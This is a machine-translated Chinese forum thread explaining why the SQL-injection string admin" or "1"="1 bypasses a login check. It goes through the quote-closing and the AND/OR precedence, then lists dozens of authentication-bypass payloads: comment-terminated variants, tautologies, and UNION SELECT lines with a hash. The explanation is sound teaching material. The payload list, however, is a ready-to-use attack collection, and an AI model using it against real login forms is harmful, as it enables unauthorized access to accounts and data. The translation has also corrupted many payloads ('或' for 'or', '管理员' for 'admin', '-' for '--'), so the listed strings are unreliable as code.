管理员 1 "=" 1 " or "的含义是什么?



我在一个拥有运行SQL注入完全权限的网站上运行了admin" or "1"="1。该网站配置错误,让我直接登录。

我不明白的是,为什么在最后的数字1之后不需要双引号?

如果php是这样工作的:username="admin" and password=md5("password"),那么admin之后的引号"关闭第一个引号

"1" is closed, but I don't understand "1

有人能为我解释一下吗?

提前感谢

想想应用程序中的SQL查询可能是什么。

可能像你提到的select * from users where username="<<username>>" and password=md5("<<password>>")一样。

在注入<<username>><<password>>之后,您仍然需要有一个有效的SQL查询,否则应用程序将失败并出现错误。

使用<<username>>进行注入,admin之后的引号关闭用户名字符串,or "1"="1进行如下查询:

select * from users where username="admin" or "1"="1" and password=md5("<<password>>")

这是有效的,由于and的优先级高于or,它会得到一个名为"admin"的用户,或者一个拥有您在另一个字段中输入的密码的用户,这无关紧要。

如果在注入的字符串末尾有一个引号,那么查询将是select * from users where username="admin" or "1"="1"" and password=md5("<<password>>"),这是无效的SQL,因为有两个引号(很容易看到,因为引号的数量是奇数(。

应用程序中的SQL查询将关闭最后一个1之后的双引号。

SQL注入模式或1=1

或1=1-

或1=1#

或1=1/*

admin'-

管理员'#

admin'/*

admin'或'1'='1

admin'或'1'='1'--

admin'或'1'='1'#

admin'或'1'='1'/*

admin'or 1=1或''='

admin'或1=1

admin'或1=1-

admin'或1=1#

admin'或1=1/*

admin'(或('1'='1

admin'(或('1'='1'--

admin'(或('1'='1'#

admin'(或('1'='1'/*

admin'(或'1'='1

admin'(或'1'='1'--

admin'(或'1'='1'#

admin'(或'1'='1'/*

1234'AND 1=0 UNION ALL SELECT'admin','81dc9bdb52d04dc20036dbd8313ed055

admin"--

admin"#

admin"/*

admin"或"1"="1

admin"或"1"="1"--

admin"或"1"="1"#

admin"或"1"="1"/*

admin"或1=1或"=">

admin"或1=1

admin"或1=1-

admin"或1=1#

admin"或1=1/*

admin"(或("1"="1

admin"(或("1"="1"--

admin"(或("1"="1"#

admin"(或("1"="1"/*

admin"(或"1"="1

admin"(或"1"="1"--

admin"(或"1"="1"#

admin"(或"1"="1"/*

1234"AND 1=0 UNION ALL SELECT"admin","81dc9bdb52d04dc20036dbd8313ed055

希望这能帮助

相关内容

  • 没有找到相关文章

最新更新